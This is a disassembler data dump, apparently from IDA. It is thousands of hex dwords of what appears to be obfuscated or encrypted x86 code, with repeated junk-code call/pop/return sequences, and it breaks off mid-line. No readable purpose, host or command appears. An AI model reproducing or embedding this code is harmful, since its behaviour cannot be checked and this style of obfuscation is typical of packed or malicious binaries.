5E72F21h, 1ABD95FFh dd 6A05E7h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 5C2761C3h, 3D28CA9Ch, 0DF0E9h, 0E800h, 815D0000h dd 0EB5729EDh, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 8B8A5E14h, 858D62B3h dd 5EA90FDh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 0C6C35040h, 810F507Dh, 4, 0B440BB66h, 6A240489h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 0BCB9C353h, 898531h, 816605E7h, 640F56E3h dd 35FFh, 0C7B30000h, 258964h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0C88BC352h dd 0E2C35B52h, 820FA4BCh, 6, 9299D8Bh, 85FF05E7h, 5E714FDh dd 5CDB8166h, 8BFF6A7Bh, 0E73319BDh, 39B5FF05h, 2305E716h dd 0E72039BDh, 5195FF05h, 0E905E704h, 131h, 21919589h dd 0B005E7h, 2549BD29h, 70E605E7h, 9D3371E4h, 5E72EC5h dd 830F613Ch, 111h, 0DED78166h, 0C8B60FAEh, 0BADBB70Fh dd 6, 12E953h, 3A8B0000h, 0FEE7FD95h, 0CF2DC435h, 7F248539h dd 503BC5B7h, 0BBC18B5Bh, 283FC87Eh, 8E0Fh, 0E8C10000h dd 71B58904h, 6605E715h, 0C781E2F7h, 2EC18708h, 0B589C82Bh dd 5E72579h, 0B70FD18Bh, 12E9FAh, 0E9600000h, 6, 8176B48Fh dd 8166F362h, 61E5B5F3h, 1C11858Bh, 0BD8B05E7h, 5E7221Dh dd 6607C083h, 0C083DF8Bh, 830F5300h, 6, 8E0Fh, 3B5F0000h dd 22830FD0h, 89000000h, 0E717399Dh, 6FE905h, 0E9500000h dd 0Ah, 0FB772D9Ch, 0CCE96070h, 895F4A72h, 0E7150185h dd 0A58D8B05h, 8305E71Bh, 840F01E1h, 49h, 83FCF780h, 0E71BA5A5h dd 14E9FE05h, 0FB000000h, 0E6E65F68h, 8ABBF8CFh, 0B4037BE6h dd 71AE3ADAh, 8914CEB3h, 0E71C1195h, 8E96005h, 1C000000h dd 0A86B1790h, 8B239EC6h, 0E71FED85h, 0BD236105h, 5E72999h dd 0E9h, 0F3B58D00h, 6A05EAD7h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 0A5D3C352h, 5745BBB3h dd 6A4242h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 77C35747h, 3B556841h, 0C195FFC0h, 6605E721h, 5B9F88Bh dd 6A00000Ah, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 3CC9C355h, 0A03518Ah, 0E183F98Bh dd 0A9BD8BFCh, 0FC05E711h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 2AC35343h, 0DE9A9108h, 0B248E4C6h, 0B8h dd 0A9858900h, 6605E722h, 0D22BFB8Bh, 40D8589h, 33AD05E7h dd 3E8D1C2h, 4E983D0h, 8166F475h, 0FDAB7D7h, 681h, 0D1BD8B00h dd 0D05E71Ch, 88h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 50C35747h, 0A0C4430h, 666C6872h, 8B8A50BBh dd 0E71AA995h, 0CE805h, 0B8E70000h, 0F016F08h, 9FC65BA7h dd 0BF0F12EDh, 9D295FD8h, 5E70335h, 2A4D8D8Bh, 50F805E7h dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 2DBD8958h dd 8905E719h, 0E719A58Dh, 65BD8305h, 5E718h, 9F840Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 7645E2C3h, 0BF663CB0h, 0B88FFFh, 8B000000h, 0E7004D9Dh dd 0AE805h, 3D690000h, 869E628h, 7C0449E6h, 2C79BD2Bh dd 8D5F05E7h, 0E74D248Dh, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 81356821h dd 76D418EBh, 3DB58932h, 0FF05E727h, 57006AE1h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0B0467390h dd 89206D6Ch, 0E7181995h, 39BD8305h, 5E727h, 4FB840Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 0F487F6C3h, 0BD83F98Bh, 5E72739h, 0E9840F01h dd 6A000004h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 71EDC353h, 830A3F30h, 83C00A6Ah dd 0E72739BDh, 860F0305h, 482h, 0E850006Ah, 3, 58C35820h dd 4244489h dd 4244481h, 15h, 56C35040h, 89BD8B20h, 8B05E720h, 0E712999Dh dd 890F6005h, 6, 22D58D09h, 8C6605E7h, 0A75BBBD9h, 0E1804C11h dd 57006A04h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 9B7EB3A1h, 146F55F4h, 0C90A5750h, 150840Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 23FC08C3h, 0E70BF59Dh, 99858B05h, 8105E706h dd 70215BCBh, 985333Ah, 0B305E713h, 1810F05h, 0FC000000h dd 66525050h, 310FDE8Bh, 0AE8h, 0D9F92100h, 0AA246ABDh dd 0BF7B447Dh, 1519E179h, 89585A5Bh, 89522404h, 0E71B2DB5h dd 13E85F05h, 98000000h, 61455FDDh, 0A8371362h, 0E1DF7B52h dd 0C7748646h, 9D8B727Bh, 5E71C19h, 66006A5Bh, 4D68FB8Bh dd 0E93C7604h, 8, 0E4345E36h, 602ADE16h, 0B2243481h, 6A3C6907h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 3735C353h, 0B70FFF2Ah, 7195FFDBh, 6A05E71Bh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 95E4C356h, 2337C447h, 9D29901Ch, 5E7251Dh dd 0A6468589h, 6A05EAh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 48896BC3h, 6820Fh, 0BD8B0000h, 5E71B3Dh dd 261E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 18A43F4Ah, 20A19D8Bh, 858B05E7h dd 5EAA63Eh, 0A16AC781h, 0C70523h, 18h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 14h, 0C4C35747h, 0A642B58Bh dd 9D8B05EAh, 5E732CDh, 3289858Bh, 6A05E7h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 13E9F4C3h dd 0D1000000h, 46A8EB59h, 58A26CEFh, 74682A16h, 5BC362B1h dd 81660832h, 892DA4F3h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 0FDFA98Ch, 9D8B7095h dd 5E71835h, 699858Bh, 6A05E7h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 0EA742BC3h, 0A9B9A8C4h dd 0BB66FF82h, 468945B7h, 0F5BD8B04h, 9605E70Ah, 310F5250h dd 6650585Ah, 6A96FE8Bh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0C697C350h, 7C51B13h dd 0E8920EAFh, 5, 68AD3531h, 0FE8B6691h, 3EB5FF5Bh, 0E805EAA6h dd 0Eh, 201B8E6h, 0A6122D19h, 0DC176B94h, 950910DEh, 5E72579h dd 3820F5Bh, 66000000h, 4E8DA8Bh, 0FF000000h, 0BB001F03h dd 9B6041Ch, 8B525050h, 0E8310FFBh, 13h, 7FC1AACh, 0DB6FE2FCh dd 0DADDB5FFh, 0CFB8B469h, 0E886AC9Ah, 8, 0F1EA4BE5h, 0B6785661h dd 585A5B5Bh, 424448Bh, 0BB665250h, 310F0561h, 0AE9h, 3CF4B400h dd 72066A87h, 5A6ECF2Ch, 89008B58h, 0E8042444h, 10h, 0CF9E3AAAh dd 0AD4039A0h, 13571085h, 1F7E4FDAh, 15C9BB66h, 6A585Fh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 0C4CFE2C3h, 0DB40177Fh, 0E381748Eh, 6CE1873Ch, 6A7CD381h dd 858D1112h, 5EAA646h, 8BF9B70Fh, 0E7253D9Dh, 51515005h dd 0B6F2F0BBh, 895F5B45h, 0BD892404h, 5E707E9h, 1B7195FFh dd 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 0DF4D3C3h, 2BCE8AB3h, 0E70B199Dh, 6061FC05h dd 6850Fh, 950B0000h, 5E72C71h, 3985C761h, 305E727h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0C482C352h, 6A126980h, 46BD8363h, 5EAA6h dd 40840Fh, 860F0000h, 6, 13799D8Bh, 4AE905E7h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 0F2E8C351h, 6E8h, 3154ED00h, 8B663711h, 0E72F51BDh dd 30505B05h, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 80BB3E7Bh, 92639E86h, 0BD8BA4BBh dd 5E70A21h, 2B25BD0Bh, 0BD8305E7h, 5E72739h, 1C850F03h dd 6A000004h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 1F78C351h, 2B4B041Eh, 6883D037h dd 6D5BD89h, 13B705E7h, 0A646BD83h, 0F0005EAh, 3E284h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 24E06C55h, 0A7EFC728h, 11898D89h, 0B5FF05E7h dd 5EAA646h, 58DBD8Bh, 0AEBF05E7h, 0FF1A87B0h, 0E7021995h dd 3AB58B05h, 6A05EAA6h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 17C1C355h, 6C7A1A2h dd 10001h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 0F3C35646h, 3BB7F581h, 2A9CBC7Ah, 0D98B66D6h, 0FE996h dd 2CF80000h, 0C323AC8Dh, 2DC519EAh, 65D5B306h, 7CB350BCh dd 8CE6BB96h, 0B5FF31B9h, 5EAA646h, 0FFF98B66h, 0E7003195h dd 3AB58B05h, 6A05EAA6h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 63D1C350h, 0B69423EFh dd 311317C8h, 0E729D19Dh, 7D858B05h, 2B05E718h, 0E724999Dh dd 0C4868905h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 307CC355h, 570522D0h dd 2FD9D31h, 8B5F05E7h, 0E71AA995h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0B59D8BE3h dd 8305E729h, 0E38004C2h, 89DE8ADBh, 858D2050h, 5EABAC3h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0FFC35242h dd 0C146E21Dh, 0E980DA7Ah, 11h, 73FFA96Ch, 0F5786B87h dd 0A53E5D48h, 634F75B0h, 0B88689CDh, 0F5000000h, 0B5FF006Ah dd 5EAA646h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 0EFC35242h, 10EA88A4h, 1ABD95FFh, 6A05E7h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 0A48C34C3h, 0EB5D0F17h, 2800Fh, 0DE8B0000h, 6A965096h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 41C8C350h, 52E699DBh, 62F1EF81h, 0FF5F0C54h dd 0EAA646B5h, 11B58905h, 0FF05E72Dh, 0E7077995h, 55006A05h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 9D13F062h, 0D99D8BFFh, 8305E709h, 0E72D0DBDh, 840F0005h dd 35h, 9FA8B66h, 0E708F9BDh, 870F5005h, 2, 3489DA8Bh dd 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 0AE2369A3h, 46B5FFB8h, 0F05EAA6h, 680h dd 0E5BD8900h db 12h, 0E7h word_584F4E dw 6605h ; DATA XREF: ___:00436804o dd 2B70E781h, 243595FFh, 9D8B05E7h, 5E70019h, 0A646B5FFh dd 10E905EAh, 0A8000000h, 0D001F686h, 7628EDEDh, 2346A49Dh dd 0FFE168DDh, 0E7076D95h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 1880F12h, 0FC000000h dd 2D85BD83h, 0F0205E7h, 9084h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 85858B17h dd 6A05E711h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0C17AC356h, 0DB6259A6h, 0E8727DE0h dd 13h, 78E60903h, 0DC67D2A6h, 28BD378Eh, 74FB3B66h, 600DF6BAh dd 1F99BD29h, 5F6105E7h, 6A0000C6h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0BBA5C352h dd 81665657h, 5FFC7CC7h, 1985C75Bh, 5E723h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 0E3F0C357h, 0A8978032h, 601D55B2h, 118D8B60h dd 6105E713h, 0AFD9589h, 0E96105E7h, 0FFFFF315h, 0A219501h dd 0C18B05E7h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 3EC35242h, 6199DC48h, 349FD76Eh, 89DBB70Fh, 0E70139B5h dd 95858D05h, 0BB05E713h, 67B629A7h, 24048950h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 3AC35747h, 717948B1h dd 892E7DE4h, 0E700098Dh, 6A006A05h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 7B7CC352h dd 0AC07ACD1h, 9D8B4BDDh, 5E70455h, 6A006Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0F4AE47C3h dd 762F567Eh, 8954A55Ah, 0E71D4985h, 8DF88B05h, 0EB66D485h dd 5C08305h, 26FDBD89h, 858905E7h, 5E717C5h, 0C2BB5650h dd 5F6C1E6Ch, 6A240489h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 0AF4BC353h, 6A006A82h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 6D9AC357h, 0F804732Eh, 6A006Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 66E5F3C3h dd 0E2D2E381h, 1A4D95FFh, 8D0905E7h, 5E72CE1h, 0A4AA8D8Dh dd 6A05EAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 153BA8C3h, 6AD1FFh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 4962CC3h, 0D33FCF03h dd 498D89A8h, 8305E70Ch, 0E72B8DBDh, 850F0105h, 41h, 8E0Fh dd 26A0000h, 0C7FFBB66h, 89FC8A50h, 0BF52404h, 0E72515BDh dd 0BD95FF05h, 6A05E71Ah, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 3302C355h, 5DF8166h dd 0DC5E970h, 0E80000h, 5D000000h, 66DEED81h, 6A05EBh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 9F6096C3h, 9D8BFCC7h, 5E71561h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 67C35242h, 977E97A6h, 12E98B86h dd 3C000000h, 9A71578Eh, 0CC82443Eh, 0AABB58FDh, 361D6B6Ah dd 0FD858DD0h, 0E905EA90h, 0Fh, 73B021Bh, 3F83F5B5h, 125BE367h dd 891BD834h, 0E71525BDh, 0FB8B5005h, 8B240489h, 0E70349BDh dd 35FF6405h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0E9C35747h dd 0DBB70F15h, 258964F8h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0FDC35545h dd 268658B2h, 940DE7D2h, 0FFFB8B66h, 0E714FD85h, 0DE905h dd 82010000h, 99C63DE7h, 0CD00F1DBh, 6AD28ED1h, 0C5DF81FFh dd 0FF311AC1h, 0E7015DB5h, 0DF8B6605h, 45195FFh, 31E905E7h dd 29000001h, 0E7082D95h, 0E800B005h, 5, 92983D99h, 0E65BF912h dd 0EDBB6670h, 0F71E4D9h, 613CFAB7h, 10A830Fh, 81660000h dd 0F729DDFh, 5060C8B6h, 820Fh, 95E0000h, 0E71CB9B5h, 6BA6105h dd 29000000h, 0E704899Dh, 8BC18B05h, 0E72F09BDh, 3DB58905h dd 0C105E70Ah, 9D2304E8h, 5E72CF5h, 56E2F766h, 0F5F5260h dd 81h, 0B5B6100h, 0E7197D9Dh, 66C82B05h, 0D18BF98Bh, 2EA9BD03h dd 3E905E7h, 80000000h, 858BBFC7h, 5E70C51h, 0B99D23h dd 0C08305E7h, 83FA8B07h, 0BF6600C0h, 840F3B27h, 6, 15E59D8Bh dd 0D03B05E7h, 1B830Fh, 0F520000h, 68Ch, 598D2900h, 5F05E71Dh dd 67E9h, 0DB816600h, 8B6630E5h, 0AD8D8BD9h, 0F05E706h dd 881h, 0DF815100h, 548AD7F4h, 1E1835Bh, 42840Fh, 0E8600000h dd 13h, 726ABB18h, 0A6C51888h, 52EEA4C5h, 0B22C2731h, 5F4B59F1h dd 32E19589h, 836105E7h, 0E706ADA5h, 8166FE05h, 8BA1A2F3h dd 0E71595BDh, 51958905h, 6605E70Ch, 0E966E4BBh, 0 dd 0E3EAB58Dh, 6A05EAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 0D88BB9C3h, 6A006Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 4443E4C3h dd 61DBBF1h, 8CEF8023h, 9E8h, 66333700h, 0A030AC0Ch, 9D3132D0h dd 5E71CB1h, 0C195FF5Bh, 0F05E721h, 3BB9FBBFh, 81000008h dd 0AB0A43C3h, 0FCE18337h, 21499D31h, 0FFC05E7h, 38Dh dd 0D88B6600h, 9D8BC02Bh, 5E706A1h, 0BAh, 8B665100h, 33AD5BFEh dd 3E8D1C2h, 4E983D0h, 0F52F475h, 108Ah, 0BE900h, 0C1170000h dd 42DC7B59h, 0FAA1728Dh, 0BD295B69h, 5E721FDh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 8FC35242h, 0B6536CAEh dd 0AE88Dh, 0CCAF0000h, 2B7B8EF8h, 45CA1387h, 11E8h, 0CC1D7900h dd 7C3C9B46h, 0AD605496h, 84E62DA5h, 0B70F430Dh, 0D5B5FF8h dd 88h, 14E9h, 0AB618C00h, 52D72Bh, 0D786BBA4h, 0FD9A3647h dd 64D10306h, 0A9958BE3h, 6A05E71Ah, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 0A427C350h dd 9D8589h, 8D8B05E7h, 5E72A4Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 1EC35040h, 0F6C6507Dh, 9CD9589h dd 8B5005E7h, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 86C35646h dd 97064928h, 3D68F9DEh, 0C599D8Bh, 8B6605E7h, 0FDBD8BFBh dd 8305E717h, 0E71865BDh, 840F0005h, 80h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 15h, 9FC35545h, 0F381666Ch dd 0B8C7F8h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 0A7B7C353h, 6AFCF73h dd 4D248D8Dh, 6A05E7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 0BD2366C3h, 761E017Ch, 0B56021FBh dd 88F480E4h, 0BFE1FF61h, 2B766327h, 2739BD83h, 0F0005E7h dd 3B984h, 0A9C38100h, 662B59A4h, 0BD83F88Bh, 5E72739h dd 0BE840F01h, 6A000003h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 0E1C9C350h, 9DAEEE08h dd 8166512Ch, 5F0146CFh, 1840F60h, 0F5000000h, 1849B58Bh dd 836105E7h, 0E72739BDh, 860F0305h, 343h, 2A459D8Bh, 9D8B05E7h dd 5E70A71h, 99D8960h, 6605E72Dh, 6AD98Ch, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0FF929C3h dd 988h, 38F0F00h, 66000000h, 0E180FE8Bh, 8BFC8A04h, 0FC90AF8h dd 0B684h, 0FE900h, 0A110000h, 0E8A1D0C5h, 279B9F84h, 0CB144866h dd 99858BE8h, 3305E706h, 0E7130985h, 90D88B05h, 13E8h dd 475C2000h, 5F7D87E5h, 2F02C7A5h, 48AA162h, 89C96287h dd 10E85250h, 0C5000000h, 0FF8EB447h, 269908Eh, 74895F71h dd 5F988D60h, 0BF66310Fh, 585A3418h, 0D88B505Fh, 8B006A90h dd 0E732CDBDh, 42006805h, 54BB026Ah, 812E0BCAh, 41FF2434h dd 9D8B0275h, 5E727C5h, 1B7195FFh, 0BB6605E7h, 858991A5h dd 5EAA646h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 68C35747h, 56D0046Dh, 0E8E9F959h, 8B000001h, 0EAA63E85h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 0C703B0h, 18h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 9C35545h, 907665A7h, 0A642B58Bh dd 6A05EAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 0A8D5C3h, 11818D89h, 0E38005E7h, 89858B00h dd 6A05E732h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 8B14C355h, 0FCE1F583h, 8B071234h dd 0E71981BDh, 1068905h, 0E705EDB5h, 99858B05h, 0F05E706h dd 4689DABFh, 519D8B04h, 9605E71Ah, 1A587EBFh, 0E4BB5030h dd 9628EC9Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 0BCC35545h, 0FF8ACB80h, 0EAA63EB5h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 80C8B959h, 8531204Dh, 5E71825h, 20F1BD8Bh, 0C78105E7h dd 42F57F68h, 4E8h, 1F03FF00h, 60605200h, 505B6161h, 8BFA8B66h dd 0BB042444h, 3819A5Eh, 0DE8B008Bh, 4244489h, 0CE8h, 0CCAEAF00h dd 6472CE29h, 8E1C98Ah, 0CCB060EEh, 5F616160h, 57006A58h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 25A6A51Ch, 0E91BF726h, 5E925h, 0ACC10000h, 8D8F3497h dd 0EAA64685h, 17CF8005h, 9E850h, 942E0000h, 283793h, 66BCA79Ah dd 895FDA8Bh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 7DBFFBC3h, 55BBC47h, 0BD8BEB8Dh dd 5E70639h, 1B7195FFh, 800F05E7h, 0 dd 615FF956h, 0C7D9BF0Fh, 0E7273985h, 305h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 0DCDB819Bh, 8313C261h, 0EAA646BDh, 840F0005h, 17h, 0BE9FDB7h dd 0E6000000h, 0E0E596FFh, 4E186BE7h, 1BE9087Ch, 50000000h dd 110C30h, 0C1011144h, 443010E8h, 4C000211h, 83580311h dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h dd 0B589C08Bh, 5E72179h, 6AC6BB66h, 2739BD83h, 0F0305E7h dd 4FA85h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 83F0B132h, 0EAA646BDh, 840F0005h dd 4CFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 0CEC35747h, 81147CDAh, 66FA9CEBh, 46B5FF04h, 6A05EAA6h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 0BF1BC350h, 18830Fh, 13E90000h, 55000000h dd 9A30E6D1h, 153276B7h, 0A3D8AC74h, 7B70FCBDh, 95FFABA5h dd 5E70219h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 0D2C35545h, 71F4976Ch, 5D557219h, 59BD8B69h, 8B05E716h dd 0E72E89BDh, 3AB58B05h, 0F05EAA6h, 687h, 29852900h, 0C705E704h dd 1000106h, 8B669600h, 880F50DFh, 2, 6A962AB7h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 0BC33C350h, 0E1A83C07h, 0B5FF80B9h, 5EAA646h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 3DC35646h, 13358D89h dd 95FF05E7h, 5E70031h, 14E960h, 0A5CB0000h, 539721BBh dd 1C870B3h, 0FE5374B2h, 14D3AB09h, 61F9A714h, 0A63AB58Bh dd 6A05EAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 796A90C3h, 77BAD763h, 0FD9A4AEh, 687h, 0BF665200h dd 0F5F82C0h, 0C87h, 6800F00h, 8B000000h, 0E720C5BDh, 7D858B05h dd 6A05E718h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 0B4BFC350h, 0FE42026h, 585h, 0C3805000h dd 0B70F5B15h, 0C48689FAh, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 3299C351h dd 724ED64Eh, 0E4044E4h, 0C14343BBh, 0EE955h, 7C2C0000h dd 3ECDC766h, 0C521D995h, 0B9001DE5h, 1AA9958Bh, 6A05E7h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 2CB680C3h, 1FE67653h, 8B72DAFCh, 0E71FFDBDh, 4C28305h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 97C35141h dd 0FD928577h, 28A0F4Eh, 69BF6694h, 1476BF2Dh, 5089311Ch dd 7E920h, 0DD550000h, 0AC225BAh, 0C3858DA8h, 0E805EABAh dd 5, 6B750430h, 6840FD6h, 0F000000h, 83h, 86895B00h, 0B8h dd 38C38166h, 0E9006A2Fh, 10h, 30EFDA33h, 1837832Dh, 315FB7Ah dd 0CF39A92Eh, 5840Fh, 81660000h, 0FF4694D7h, 0EAA646B5h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 6699030Eh, 8B1D7BBFh, 0E71B59BDh, 0BD95FF05h dd 8105E71Ah, 0ADC92ACBh, 0E860960Ch, 5, 0FA97C200h, 6E98Fh dd 83B60000h, 7A775676h, 0BF665259h, 615E3967h, 8B666050h dd 618EB5C3h, 0DF8B6696h, 0A646B5FFh, 6A05EAh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 51CE46C3h, 0C9EF295Fh, 598D895Ch, 0FF05E715h, 0E7077995h dd 0D59D2905h, 8305E712h, 0E72D0DBDh, 840F0005h, 5Fh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0E3C35040h, 7194C50h dd 8C9BD8Bh, 9D8B05E7h, 5E703BDh, 0EE96096h, 0C9000000h dd 0AF911706h, 0AF008368h, 95E0C321h, 5820FEBh, 0BF000000h dd 77B84044h, 66605061h, 9661D88Bh, 0F08B6660h, 6DBD8B61h dd 0FF05E71Ah, 0EAA646B5h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0B70F8232h dd 259589DBh, 0FF05E71Ah, 0E7243595h, 51006A05h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0BD0B3D83h, 5E71739h, 19D8D09h, 0B5FF05E7h, 5EAA646h dd 14EDBD89h, 95FF05E7h, 5E7076Dh, 16998589h, 9D8B05E7h dd 5E72375h, 2D85BD83h, 0F0205E7h, 8884h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 72E3B0A3h, 0D8B81727h, 858BBE1Fh, 5E71185h, 0E850006Ah dd 3, 58C35820h, 4244489h, 